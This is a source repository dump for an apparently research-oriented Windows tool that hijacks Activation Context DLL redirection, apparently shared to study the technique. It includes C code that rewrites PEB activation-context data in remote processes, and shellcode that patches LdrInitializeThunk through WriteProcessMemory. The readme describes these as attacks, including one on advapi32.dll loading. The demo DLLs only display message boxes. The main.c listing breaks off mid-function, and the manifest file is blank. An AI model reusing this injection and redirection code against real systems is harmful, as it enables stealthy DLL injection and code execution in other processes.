├── .gitignore
├── cmake.bat
├── sxsoaps.c
├── redirecteddll.c
├── manifest.manifest
├── cmakelists.txt
├── readme.md
├── defs.h
├── asm_code64
└── asm_code.asm
├── asm_code32
└── asm_code.asm
├── ldrdebug.c
├── main.c
└── sxstypes.h
/.gitignore:
--------------------------------------------------------------------------------
1 | build
--------------------------------------------------------------------------------
/cmake.bat:
--------------------------------------------------------------------------------
1 | @echo off
2 | rmdir /Q /S build
3 | mkdir build
4 | cd build
5 | cmake -DCMAKE_BUILD_TYPE=Release -G "NMake Makefiles" ..
6 | nmake
7 | cd ..
--------------------------------------------------------------------------------
/sxsoaps.c:
--------------------------------------------------------------------------------
1 | #include "defs.h"
2 |
3 | BOOL WINAPI DllMain(__in HINSTANCE hInstance, __in DWORD fdwReason, __in PVOID lpReserved){
4 | if (fdwReason == DLL_PROCESS_ATTACH){
5 | MessageBox(0, L"dll hooked...", L"oki", 0);
6 | }
7 | return TRUE;
8 | }
--------------------------------------------------------------------------------
/redirecteddll.c:
--------------------------------------------------------------------------------
1 | #include "defs.h"
2 |
3 | BOOL WINAPI DllMain(__in HINSTANCE hInstance, __in DWORD fdwReason, __in PVOID lpReserved){
4 | if (fdwReason == DLL_PROCESS_ATTACH){
5 | MessageBox(0, L"dll redirected...", L"oki", 0);
6 | }
7 | return TRUE;
8 | }
--------------------------------------------------------------------------------
/manifest.manifest:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 |
13 |
14 |
15 |
16 |
--------------------------------------------------------------------------------
/cmakelists.txt:
--------------------------------------------------------------------------------
1 | cmake_minimum_required (VERSION 2.8)
2 |
3 | project(actctx)
4 | add_definitions(-DUNICODE -D_UNICODE)
5 | enable_language(ASM_MASM)
6 |
7 | set(CompilerFlags
8 | CMAKE_CXX_FLAGS
9 | CMAKE_CXX_FLAGS_DEBUG
10 | CMAKE_CXX_FLAGS_RELEASE
11 | CMAKE_C_FLAGS
12 | CMAKE_C_FLAGS_DEBUG
13 | CMAKE_C_FLAGS_RELEASE
14 | )
15 | foreach(CompilerFlag ${CompilerFlags})
16 | string(REPLACE "/MD" "/MT" ${CompilerFlag} "${${CompilerFlag}}")
17 | endforeach()
18 |
19 | string(REPLACE "/pdb:" "" CMAKE_C_LINK_EXECUTABLE ${CMAKE_C_LINK_EXECUTABLE})
20 | string(REPLACE "/pdb:" "" CMAKE_CXX_LINK_EXECUTABLE ${CMAKE_CXX_LINK_EXECUTABLE})
21 |
22 | string(REPLACE "/O2" "/Od" CMAKE_C_FLAGS ${CMAKE_C_FLAGS})
23 |
24 | set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /GS-")
25 |
26 | set(CMAKE_C_FLAGS "${CMAKE_C_FLAGS} /Gz")
27 | if(CMAKE_SIZEOF_VOID_P EQUAL 8)
28 | add_executable(actctx main.c manifest.manifest ldrdebug.c asm_code64/asm_code.asm)
29 | elseif(CMAKE_SIZEOF_VOID_P EQUAL 4)
30 | add_executable(actctx main.c manifest.manifest ldrdebug.c asm_code32/asm_code.asm)
31 | endif()
32 |
33 | set_target_properties(actctx PROPERTIES LINK_FLAGS "/SUBSYSTEM:CONSOLE")
34 |
35 | add_library(sxsoaps SHARED sxsoaps.c)
36 | add_library(redirecteddll SHARED redirecteddll.c)
37 |
38 | target_link_libraries(actctx comctl32.lib ntdll.lib)
39 |
40 |
--------------------------------------------------------------------------------
/readme.md:
--------------------------------------------------------------------------------
1 | # Hook ActivationContext
2 |
3 | This is simple tool to hook and force process to load redirected DLL.
4 |
5 | To build and test code you will need **Visual Studio Build tools** 2013, 2015 or 2017, either standalone or one integrated with Visual Studio, and **cmake**:
6 |
7 | * [Visual C++ 2015 Build tools](http://landinghub.visualstudio.com/visual-cpp-build-tools)
8 | * [Build Tools for Visual Studio 2017](https://www.visualstudio.com/downloads/#build-tools-for-visual-studio-2017)
9 | * [cmake](https://cmake.org/)
10 |
11 | Code is manipulating Activation Context DLL redirection in 2 ways. One method would be to fake **AssemblyDirectory** to point to the fake folder where you would store your fake DLL. For this attack **sxsoaps.dll** is used which is at the same time present in the **SystemDefaultActivationContextData**.
12 |
13 | Another attack is to add new DLL redirection which will cause call **LoadLibrary("meh.dll")** to load **redirecteddll.dll**, and this attack can be used against the remote process to fake path of a system dll. In this case I chose to attack **advapi32.dll** loading.
14 |
15 | Of course, next steps would be COM redirection for example, or window class hijacking, but that can be left as an exercise.
16 |
17 | Code also gives ability to debug child process with **--debug** flag.
18 |
19 | ```
20 | actctx.exe --debug
21 | ```
22 |
23 | This will cause process to run in infinite loop at the **LdrInitializeThunk** thus debugger can be attached and ActivationContext data parsing can be debugged if needed.
24 |
25 | Similar code for LdrDebug break you may find at [ReWolf's](https://twitter.com/rwfpl) code [repository](https://github.com/rwfpl/rewolf-ldrdebug) if you intend to do stand alone debugging from the very start of the process.
26 |
--------------------------------------------------------------------------------
/defs.h:
--------------------------------------------------------------------------------
1 | #define _CRT_SECURE_NO_WARNINGS
2 | #include
3 | #include
4 | #include
5 | #include
6 | #include
7 | #include
8 | #include
9 |
10 | #include "sxstypes.h"
11 |
12 | #include "pshpack4.h"
13 |
14 | #define ACTIVATION_CONTEXT_DATA_APPLICATION_COMPATIBILITY_TYPE_SUPPORTED_OS 1
15 | #define ACTIVATION_CONTEXT_DATA_APPLICATION_COMPATIBILITY_TYPE_MITIGATION 2
16 |
17 | typedef struct ACTIVATION_CONTEXT_DATA_APPLICATION_COMPATIBILITY_ENTRY{
18 | GUID Guid;
19 | ULONG Type;
20 | }ACTIVATION_CONTEXT_DATA_APPLICATION_COMPATIBILITY_ENTRY, *PACTIVATION_CONTEXT_DATA_APPLICATION_COMPATIBILITY_ENTRY;
21 |
22 | typedef struct ACTIVATION_CONTEXT_DATA_APPLICATION_COMPATIBILITY_INFO{
23 | ULONG ElementCount;
24 | ACTIVATION_CONTEXT_DATA_APPLICATION_COMPATIBILITY_ENTRY Entry[];
25 | }ACTIVATION_CONTEXT_DATA_APPLICATION_COMPATIBILITY_INFO, *PACTIVATION_CONTEXT_DATA_APPLICATION_COMPATIBILITY_INFO;
26 | #include "poppack.h"
27 |
28 | typedef NTSTATUS (NTAPI *RTLHASHUNICODESTRING)(
29 | PUNICODE_STRING String,
30 | BOOLEAN CaseInSensitive,
31 | ULONG HashAlgorithm,
32 | PULONG HashValue
33 | );
34 | //VOID RtlInitUnicodeString(__in PUNICODE_STRING pUnicodeString, __in WCHAR *wsUnicodeString);
35 |
36 | #define HASH_STRING_ALGORITHM_DEFAULT (0)
37 | #define HASH_STRING_ALGORITHM_X65599 (1)
38 | #define HASH_STRING_ALGORITHM_INVALID (0xffffffff)
39 |
40 | NTSTATUS NTAPI NtUnmapViewOfSection(
41 | __in HANDLE ProcessHandle,
42 | __in PVOID BaseAddress
43 | );
44 |
45 | NTSTATUS NTAPI NtQueryInformationProcess(
46 | _In_ HANDLE ProcessHandle,
47 | _In_ PROCESSINFOCLASS ProcessInformationClass,
48 | _Out_ PVOID ProcessInformation,
49 | _In_ ULONG ProcessInformationLength,
50 | _Out_opt_ PULONG ReturnLength
51 | );
52 |
53 | VOID InjectLdrBreak(__in HANDLE hProcess, __in HANDLE hThread);
54 |
55 |
56 |
--------------------------------------------------------------------------------
/asm_code64/asm_code.asm:
--------------------------------------------------------------------------------
1 | .code
2 | public ExportBreakpoint
3 | ExportBreakpoint:
4 | mov dword ptr [rcx], shellcode_end - shellcode
5 | mov rax, offset shellcode
6 | ret
7 |
8 | .data
9 | shellcode: push rcx
10 | push rdx
11 | push rbx
12 | sub rsp, 30h
13 | mov rbx, rcx
14 | __loop_debugattach: cmp trigger, 1
15 | je __int3
16 | call ntyieldexecution
17 | mov rax, [rbx+080h] ;context.rcx
18 | cmp byte ptr[rax], 0c3h
19 | je __trigger
20 | cmp rax, dbguiremotebreakin
21 | jne __loop_debugattach
22 | __trigger: mov eax, 1
23 | xchg trigger, eax
24 | mov rdx, 0
25 | mov rcx, -2
26 | call ntterminatethread
27 |
28 | __int3: mov rdi, ldrinitializethunk
29 | lea rsi, __oldbytes
30 | mov rcx, len
31 | cld
32 | rep movsb
33 |
34 | add rsp, 30h
35 | pop rbx
36 | pop rdx
37 | pop rcx
38 | push ldrinitializethunk
39 | int 3
40 | ret
41 |
42 | trigger dd 0
43 | __oldbytes:
44 | db 20h dup(90h)
45 |
46 | len dq ?
47 | dbguiremotebreakin dq ?
48 | ldrinitializethunk dq ?
49 | ntyieldexecution dq ?
50 | ntterminatethread dq ?
51 | shellcode_end:
52 | end
--------------------------------------------------------------------------------
/asm_code32/asm_code.asm:
--------------------------------------------------------------------------------
1 | .586p
2 | .model flat, stdcall
3 | option casemap:none
4 |
5 | .code
6 | ExportBreakpoint proc dwSize:dword
7 | mov eax, shellcode_end - shellcode
8 | mov ecx, dwSize
9 | mov dword ptr[ecx], eax
10 | mov eax, offset shellcode
11 | ret
12 | ExportBreakpoint endp
13 |
14 | _DATA segment
15 | assume fs:nothing
16 | shellcode: push 0
17 | pushad
18 | call __delta
19 | __delta: pop ebp
20 | lea edi, [esp+24h+10h]
21 |
22 | __loop_debugattach: cmp dword ptr [ebp+ (trigger - __delta)], 1
23 | je __int3
24 | call dword ptr [ebp+(ntyieldexecution - __delta)]
25 | mov eax, [edi+0b0h] ;context.eax
26 | cmp byte ptr[eax], 0c3h
27 | je __trigger
28 | cmp eax, [ebp+(dbguiremotebreakin - __delta)]
29 | jne __loop_debugattach
30 | __trigger: mov eax, 1
31 | xchg [ebp+(trigger - __delta)], eax
32 | push 0
33 | push -2
34 | call dword ptr [ebp+(ntterminatethread - __delta)]
35 |
36 | __int3: mov edi, [ebp+(ldrinitializethunk - __delta)]
37 | lea esi, [ebp+(__oldbytes - __delta)]
38 | mov ecx, [ebp+(len - __delta)]
39 | cld
40 | rep movsb
41 |
42 | mov eax, [ebp+(ldrinitializethunk - __delta)]
43 | mov [esp+20h], eax
44 | popad
45 |
46 | int 3
47 |
48 | ret
49 | trigger:
50 | dd 0
51 | __oldbytes:
52 | db 20h dup(90h)
53 |
54 | len dd ?
55 | dbguiremotebreakin dd ?
56 | ldrinitializethunk dd ?
57 | ntyieldexecution dd ?
58 | ntterminatethread dd ?
59 | shellcode_end:
60 | _DATA ends
61 |
62 | end
--------------------------------------------------------------------------------
/ldrdebug.c:
--------------------------------------------------------------------------------
1 | #include "defs.h"
2 |
3 | PVOID ExportBreakpoint(__out DWORD *dwSize);
4 |
5 | VOID InjectLdrBreak(__in HANDLE hProcess, __in HANDLE hThread){
6 | ULONG_PTR pLdrInitializeThunk;
7 | ULONG_PTR pNtYieldExecution;
8 | ULONG_PTR pNtTerminateThread;
9 | ULONG_PTR pDbgUiRemoteBreakin;
10 | PVOID lpRemoteBuffer;
11 |
12 | PVOID lpBreakpoint;
13 | DWORD dwBreakpoint;
14 |
15 | ULONG len;
16 | DWORD dwOldProt;
17 |
18 |
19 | pLdrInitializeThunk = (ULONG_PTR)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "LdrInitializeThunk");
20 | pNtYieldExecution = (ULONG_PTR)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtYieldExecution");
21 | pNtTerminateThread = (ULONG_PTR)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "NtTerminateThread");
22 | pDbgUiRemoteBreakin = (ULONG_PTR)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "DbgUiRemoteBreakin");
23 |
24 |
25 | len = 32;
26 |
27 | lpBreakpoint = ExportBreakpoint(&dwBreakpoint);
28 |
29 | *(ULONG_PTR *)((ULONG_PTR)lpBreakpoint + dwBreakpoint - sizeof(ULONG_PTR) * 1) = pNtTerminateThread;
30 | *(ULONG_PTR *)((ULONG_PTR)lpBreakpoint + dwBreakpoint - sizeof(ULONG_PTR) * 2) = pNtYieldExecution;
31 | *(ULONG_PTR *)((ULONG_PTR)lpBreakpoint + dwBreakpoint - sizeof(ULONG_PTR) * 3) = pLdrInitializeThunk;
32 | *(ULONG_PTR *)((ULONG_PTR)lpBreakpoint + dwBreakpoint - sizeof(ULONG_PTR) * 4) = pDbgUiRemoteBreakin;
33 | *(ULONG_PTR *)((ULONG_PTR)lpBreakpoint + dwBreakpoint - sizeof(ULONG_PTR) * 5) = len;
34 |
35 | memcpy((void *)((ULONG_PTR)lpBreakpoint + dwBreakpoint - sizeof(ULONG_PTR) * 5 - 32), (void *)pLdrInitializeThunk, len);
36 |
37 | lpRemoteBuffer = VirtualAllocEx(hProcess, 0, 0x1000, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
38 | WriteProcessMemory(hProcess, lpRemoteBuffer, lpBreakpoint, dwBreakpoint, 0);
39 |
40 | #ifdef _WIN64
41 | WriteProcessMemory(hProcess, (void *)pLdrInitializeThunk, "\x48\xb8", 2, 0);
42 | WriteProcessMemory(hProcess, (void *)(pLdrInitializeThunk+2), &lpRemoteBuffer, 8, 0);
43 | WriteProcessMemory(hProcess, (void *)(pLdrInitializeThunk+10), "\xff\xe0", 2, 0);
44 | #else
45 | WriteProcessMemory(hProcess, (void *)pLdrInitializeThunk, "\x68", 1, 0);
46 | WriteProcessMemory(hProcess, (void *)(pLdrInitializeThunk+1), &lpRemoteBuffer, 4, 0);
47 | WriteProcessMemory(hProcess, (void *)(pLdrInitializeThunk+5), "\xc3", 1, 0);
48 | #endif
49 | VirtualProtectEx(hProcess, (void *)pLdrInitializeThunk, len, PAGE_EXECUTE_READWRITE, &dwOldProt);
50 |
51 |
52 |
53 |
54 |
55 | }
--------------------------------------------------------------------------------
/main.c:
--------------------------------------------------------------------------------
1 | #include "defs.h"
2 |
3 | PACTIVATION_CONTEXT_DATA g_pActivationContextData;
4 |
5 | PVOID GetAssemblyManifestPath(__in ULONG index, __out DWORD *pdwLength){
6 | PCACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_HEADER pAssemblyHeader;
7 | PACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_ENTRY pAssemblyEntry;
8 | PACTIVATION_CONTEXT_DATA_ASSEMBLY_INFORMATION pAssemblyInfo;
9 | ULONG_PTR AssemblyInformationSection;
10 |
11 | pAssemblyHeader = (PCACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_HEADER)((ULONG_PTR)g_pActivationContextData + g_pActivationContextData->AssemblyRosterOffset);
12 | AssemblyInformationSection = (ULONG_PTR)g_pActivationContextData + pAssemblyHeader->AssemblyInformationSectionOffset;
13 | pAssemblyEntry = (PACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_ENTRY)((ULONG_PTR)g_pActivationContextData + pAssemblyHeader->FirstEntryOffset);
14 | pAssemblyInfo = (PACTIVATION_CONTEXT_DATA_ASSEMBLY_INFORMATION)((ULONG_PTR)g_pActivationContextData + pAssemblyEntry[index].AssemblyInformationOffset);
15 |
16 | if (!pAssemblyInfo->ManifestPathOffset) return NULL;
17 |
18 | *pdwLength = pAssemblyInfo->ManifestPathLength;
19 | return (PVOID)((ULONG_PTR)AssemblyInformationSection + pAssemblyInfo->ManifestPathOffset);
20 | }
21 |
22 | PVOID GetAssemblyDirectoryPath(__in ULONG index, __out DWORD *pdwLength){
23 | PCACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_HEADER pAssemblyHeader;
24 | PACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_ENTRY pAssemblyEntry;
25 | PACTIVATION_CONTEXT_DATA_ASSEMBLY_INFORMATION pAssemblyInfo;
26 | ULONG_PTR AssemblyInformationSection;
27 |
28 | pAssemblyHeader = (PCACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_HEADER)((ULONG_PTR)g_pActivationContextData + g_pActivationContextData->AssemblyRosterOffset);
29 | AssemblyInformationSection = (ULONG_PTR)g_pActivationContextData + pAssemblyHeader->AssemblyInformationSectionOffset;
30 | pAssemblyEntry = (PACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_ENTRY)((ULONG_PTR)g_pActivationContextData + pAssemblyHeader->FirstEntryOffset);
31 | pAssemblyInfo = (PACTIVATION_CONTEXT_DATA_ASSEMBLY_INFORMATION)((ULONG_PTR)g_pActivationContextData + pAssemblyEntry[index].AssemblyInformationOffset);
32 |
33 | if (!pAssemblyInfo->AssemblyDirectoryNameOffset) return NULL;
34 |
35 | *pdwLength = pAssemblyInfo->AssemblyDirectoryNameLength;
36 | return (PVOID)((ULONG_PTR)AssemblyInformationSection + pAssemblyInfo->AssemblyDirectoryNameOffset);
37 | }
38 |
39 | BOOL SetAssemblyDirectoryPathLength(__in ULONG index, __out DWORD dwLength){
40 | PCACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_HEADER pAssemblyHeader;
41 | PACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_ENTRY pAssemblyEntry;
42 | PACTIVATION_CONTEXT_DATA_ASSEMBLY_INFORMATION pAssemblyInfo;
43 | ULONG_PTR AssemblyInformationSection;
44 |
45 | pAssemblyHeader = (PCACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_HEADER)((ULONG_PTR)g_pActivationContextData + g_pActivationContextData->AssemblyRosterOffset);
46 | AssemblyInformationSection = (ULONG_PTR)g_pActivationContextData + pAssemblyHeader->AssemblyInformationSectionOffset;
47 | pAssemblyEntry = (PACTIVATION_CONTEXT_DATA_ASSEMBLY_ROSTER_ENTRY)((ULONG_PTR)g_pActivationContextData + pAssemblyHeader->FirstEntryOffset);
48 | pAssemblyInfo = (PACTIVATION_CONTEXT_DATA_ASSEMBLY_INFORMATION)((ULONG_PTR)g_pActivationContextData + pAssemblyEntry[index].AssemblyInformationOffset);
49 |
50 | if (!pAssemblyInfo->AssemblyDirectoryNameOffset) return FALSE;
51 |
52 | pAssemblyInfo->AssemblyDirectoryNameLength = dwLength;
53 | return TRUE;
54 | }
55 |
56 | ULONG ReplaceDLLRedirectionGetRoster(__in WCHAR *wsDllName){
57 | PCACTIVATION_CONTEXT_DATA_TOC_HEADER pTocHeader;
58 | PCACTIVATION_CONTEXT_DATA_TOC_ENTRY pTocEntry;
59 | PACTIVATION_CONTEXT_STRING_SECTION_HEADER pStringHeader;
60 | PACTIVATION_CONTEXT_STRING_SECTION_ENTRY pStringEntry;
61 | //PACTIVATION_CONTEXT_DATA_DLL_REDIRECTION pDllRedirection;
62 | ULONG index, jindex;
63 |
64 | pTocHeader = (PCACTIVATION_CONTEXT_DATA_TOC_HEADER)((ULONG_PTR)g_pActivationContextData + g_pActivationContextData->DefaultTocOffset);
65 | pTocEntry = (PCACTIVATION_CONTEXT_DATA_TOC_ENTRY)((ULONG_PTR)g_pActivationContextData + pTocHeader->FirstEntryOffset);
66 |
67 | for (index = 0; index < pTocHeader->EntryCount; index++){
68 | if (pTocEntry[index].Id != ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION) continue;
69 |
70 | pStringHeader = (PACTIVATION_CONTEXT_STRING_SECTION_HEADER)((ULONG_PTR)g_pActivationContextData + pTocEntry[index].Offset);
71 |
72 | pStringEntry = (PACTIVATION_CONTEXT_STRING_SECTION_ENTRY)((ULONG_PTR)pStringHeader + pStringHeader->ElementListOffset);
73 | for (jindex = 0; jindex < pStringHeader->ElementCount; jindex++){
74 | if (!_wcsicmp((WCHAR *)((ULONG_PTR)pStringHeader + pStringEntry[jindex].KeyOffset), wsDllName)) return pStringEntry[jindex].AssemblyRosterIndex;
75 | }
76 | }
77 | return 0;
78 | }
79 | /***************************************************************************
80 | * This code will move DLL_REDIRECTION string section to the end. Update
81 | * offsets properly, and set new DLL_REDIRECTION entry which will allow
82 | * dll redirection to another dll. If NtRead/WriteVirtualMemory are used
83 | * suspended process can be faked to load dlls from different path. This
84 | * can be used also at runtime to inject DLL into another process if dll
85 | * loading is triggered somehow, of course,
86 | ***************************************************************************/
87 | ULONG AddDllRedirection(__in WCHAR *wsDllName, __in WCHAR *wsNewDllPath, __in DWORD dwOldSize, __in DWORD dwNewSize){
88 | PCACTIVATION_CONTEXT_DATA_TOC_HEADER pTocHeader;
89 | PCACTIVATION_CONTEXT_DATA_TOC_ENTRY pTocEntry;
90 | PACTIVATION_CONTEXT_STRING_SECTION_HEADER pStringHeader;
91 | PACTIVATION_CONTEXT_STRING_SECTION_ENTRY pStringEntry;
92 | PACTIVATION_CONTEXT_DATA_DLL_REDIRECTION pDllRedirection;
93 | PACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT pDllRedirectionPathSegment;
94 |
95 | ULONG index;
96 | ULONG_PTR write_offset;
97 | ULONG_PTR entries_offset;
98 | ULONG_PTR string_write_offset;
99 | UNICODE_STRING UnicodeString;
100 | RTLHASHUNICODESTRING fnRtlHashUnicodeString;
101 |
102 | fnRtlHashUnicodeString = (RTLHASHUNICODESTRING)GetProcAddress(GetModuleHandle(L"ntdll.dll"), "RtlHashUnicodeString");
103 |
104 |
105 | //these are hardcoded values, properly would be to calculate at runtime how much space we actually need
106 | write_offset = (ULONG_PTR)((ULONG_PTR)g_pActivationContextData + dwNewSize - 0x5000);
107 | entries_offset = (ULONG_PTR)((ULONG_PTR)g_pActivationContextData + dwNewSize - 0x1000);
108 |
109 | pTocHeader = (PCACTIVATION_CONTEXT_DATA_TOC_HEADER)((ULONG_PTR)g_pActivationContextData + g_pActivationContextData->DefaultTocOffset);
110 | pTocEntry = (PCACTIVATION_CONTEXT_DATA_TOC_ENTRY)((ULONG_PTR)g_pActivationContextData + pTocHeader->FirstEntryOffset);
111 |
112 | for (index = 0; index < pTocHeader->EntryCount; index++){
113 | if (pTocEntry[index].Id != ACTIVATION_CONTEXT_SECTION_DLL_REDIRECTION) continue;
114 |
115 | //do copy to new offset... now move section entries to the end...
116 | memcpy((PVOID)write_offset, (PVOID)((ULONG_PTR)g_pActivationContextData + pTocEntry[index].Offset), pTocEntry[index].Length);
117 | pTocEntry[index].Offset = (ULONG)(write_offset - (ULONG_PTR)g_pActivationContextData);
118 |
119 | pStringHeader = (PACTIVATION_CONTEXT_STRING_SECTION_HEADER)((ULONG_PTR)g_pActivationContextData + pTocEntry[index].Offset);
120 |
121 | //copy entries to the entries_offset...
122 | memcpy((PVOID)entries_offset, (PVOID)((ULONG_PTR)pStringHeader + pStringHeader->ElementListOffset), pStringHeader->ElementCount * sizeof(ACTIVATION_CONTEXT_STRING_SECTION_ENTRY));
123 | pStringHeader->ElementListOffset = (ULONG)(entries_offset - write_offset);
124 | pStringHeader->Flags = ACTIVATION_CONTEXT_STRING_SECTION_CASE_INSENSITIVE; //0; //say taht we don't have hashing via pseudokey but we support case insensitive
125 | //this is done thus we don't have to reorder entries based on hash...
126 |
127 | //take last existing StringEntry...
128 | pStringEntry = (PACTIVATION_CONTEXT_STRING_SECTION_ENTRY)((ULONG_PTR)pStringHeader + pStringHeader->ElementListOffset + pStringHeader->ElementCount * sizeof(ACTIVATION_CONTEXT_STRING_SECTION_ENTRY));
129 | pStringHeader->ElementCount++;
130 |
131 | memset(pStringEntry, 0, sizeof(ACTIVATION_CONTEXT_STRING_SECTION_ENTRY));
132 |
133 | string_write_offset = (ULONG_PTR)pStringEntry + sizeof(ACTIVATION_CONTEXT_STRING_SECTION_ENTRY);
134 | //write key offset...
135 |
136 | //1st add valid pseudo key...
137 | RtlInitUnicodeString(&UnicodeString, wsDllName);
138 | fnRtlHashUnicodeString(&UnicodeString, TRUE, HASH_STRING_ALGORITHM_X65599, &pStringEntry->PseudoKey);
139 |
140 | //2nd set new Key value in string entry (this is used to match dll name)
141 | wcscpy((void *)string_write_offset, wsDllName);
142 | pStringEntry->KeyOffset = (ULONG)(string_write_offset - write_offset);
143 | pStringEntry->KeyLength = (ULONG)wcslen(wsDllName) * sizeof(WCHAR);
144 | string_write_offset += pStringEntry->KeyLength;
145 | pStringEntry->Offset = (ULONG)(string_write_offset - write_offset);
146 | pStringEntry->Length = (ULONG)wcslen(wsNewDllPath) * sizeof(WCHAR) + sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION) + sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT);
147 |
148 | //now add new dll redirection
149 | pDllRedirection = (PACTIVATION_CONTEXT_DATA_DLL_REDIRECTION)string_write_offset;
150 | //say that PathSegment will include base dllname and that path should be expanded via ExpandEnvironmentStrings
151 | pDllRedirection->Flags = ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_INCLUDES_BASE_NAME | ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_EXPAND | ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SYSTEM_DEFAULT_REDIRECTED_SYSTEM32_DLL;
152 | //there is only 1 path segment...
153 | pDllRedirection->PathSegmentCount = 1;
154 | pDllRedirection->PathSegmentOffset = (ULONG)(string_write_offset - write_offset + sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION));
155 | string_write_offset += sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION);
156 |
157 | pDllRedirectionPathSegment = (PACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT)string_write_offset;
158 | pDllRedirectionPathSegment->Length = (ULONG)(wcslen(wsNewDllPath) * sizeof(WCHAR));
159 | pDllRedirectionPathSegment->Offset = (ULONG)(string_write_offset - write_offset + sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT));
160 |
161 | string_write_offset += sizeof(ACTIVATION_CONTEXT_DATA_DLL_REDIRECTION_PATH_SEGMENT);
162 | wcscpy((void *)string_write_offset, wsNewDllPath);
163 | string_write_offset += wcslen(wsNewDllPath) * sizeof(WCHAR);
164 |
165 | pTocEntry[index].Length = (ULONG)(string_write_offset - write_offset);
166 |
167 | g_pActivationContextData->TotalSize = (ULONG)(string_write_offset - (ULONG_PTR)g_pActivationContextData);
168 | }
169 | return 0;
170 |
171 | }
172 |
173 | //This is used to create new ActivationContextData. NTDLL doesn't cash this address, and always reads it from PEB
174 | //thus this trick will work...
175 | PVOID RemapActivationContextIncrease(HANDLE hProcess, __in BOOL b_use_system_default, __in DWORD dwExtendSectionSize, __out DWORD *pdwOldLength, __out DWORD *pdwNewLength){
176 | ULONG_PTR pActivationContextData;
177 | ULONG_PTR pNewActivationContext;
178 | MEMORY_BASIC_INFORMATION mbi;
179 | ULONG_PTR peb;
180 | PROCESS_BASIC_INFORMATION pbi;
181 | ULONG cbNeeded;
182 | PVOID pLocalActivationContextData;
183 |
184 | NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), &cbNeeded);
185 | peb = (ULONG_PTR)pbi.PebBaseAddress;
186 | #ifdef _WIN64
187 | if (!b_use_system_default)
188 | ReadProcessMemory(hProcess, (PVOID)(peb+0x2f8), &pActivationContextData, sizeof(pActivationContextData), 0);
189 | else
190 | ReadProcessMemory(hProcess, (PVOID)(peb+0x308), &pActivationContextData, sizeof(pActivationContextData), 0);
191 |
192 | #else
193 | if (!b_use_system_default)
194 | ReadProcessMemory(hProcess, (PVOID)(peb+0x1f8), &pActivationContextData, sizeof(pActivationContextData), 0);
195 | else
196 | ReadProcessMemory(hProcess, (PVOID)(peb+0x200), &pActivationContextData, sizeof(pActivationContextData), 0);
197 | #endif
198 |
199 | VirtualQueryEx(hProcess, (PVOID)pActivationContextData, &mbi, sizeof(mbi));
200 | pNewActivationContext = (ULONG_PTR)VirtualAllocEx(hProcess, 0, mbi.RegionSize + dwExtendSectionSize, MEM_COMMIT, PAGE_READWRITE);
201 | pLocalActivationContextData = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, mbi.RegionSize + dwExtendSectionSize);
202 | ReadProcessMemory(hProcess, (PVOID)pActivationContextData, pLocalActivationContextData, mbi.RegionSize, 0);
203 | WriteProcessMemory(hProcess, (PVOID)pNewActivationContext, pLocalActivationContextData, mbi.RegionSize, 0);
204 |
205 | #ifdef _WIN64
206 | if (!b_use_system_default)
207 | WriteProcessMemory(hProcess, (PVOID)(peb+0x2f8), &pNewActivationContext, sizeof(pNewActivationContext), 0);
208 | else
209 | WriteProcessMemory(hProcess, (PVOID)(peb+0x308), &pNewActivationContext, sizeof(pNewActivationContext), 0);
210 | #else
211 | if (!b_use_system_default)
212 | WriteProcessMemory(hProcess, (PVOID)(peb+0x1f8), &pNewActivationContext, sizeof(pNewActivationContext), 0);
213 | else
214 | WriteProcessMemory(hProcess, (PVOID)(peb+0x200), &pNewActivationContext, sizeof(pNewActivationContext), 0);
215 | #endif
216 |
217 | *pdwOldLength = (ULONG)mbi.RegionSize;
218 | *pdwNewLength = (ULONG)mbi.RegionSize + dwExtendSectionSize;
219 | return pLocalActivationContextData;
220 | }
221 |
222 | PVOID RemapActivationContext(__in BOOL b_use_system_default){
223 | ULONG_PTR pActivationContextData;
224 | ULONG_PTR pNewActivationContext;
225 | MEMORY_BASIC_INFORMATION mbi;
226 | ULONG_PTR peb;
227 |
228 | //note ActivationContextData is mapped section, thus to be able to manipulate it we need
229 | //to UnmapViewOfSection and allocate memory instead of it.
230 | #ifdef _WIN64
231 | peb = __readgsqword(0x60);
232 | if (!b_use_system_default)
233 | pActivationContextData = *(ULONG_PTR *)(peb + 0x2f8);
234 | else
235 | pActivationContextData = *(ULONG_PTR *)(peb + 0x308);
236 | #else
237 | peb = __readfsdword(0x30);
238 | if (!b_use_system_default)
239 | pActivationContextData = *(ULONG_PTR *)(peb + 0x1f8);
240 | else
241 | pActivationContextData = *(ULONG_PTR *)(peb + 0x200);
242 | #endif
243 |
244 | VirtualQuery((PVOID)pActivationContextData, &mbi, sizeof(mbi));
245 | pNewActivationContext = (ULONG_PTR)VirtualAlloc(0, mbi.RegionSize, MEM_COMMIT, PAGE_READWRITE);
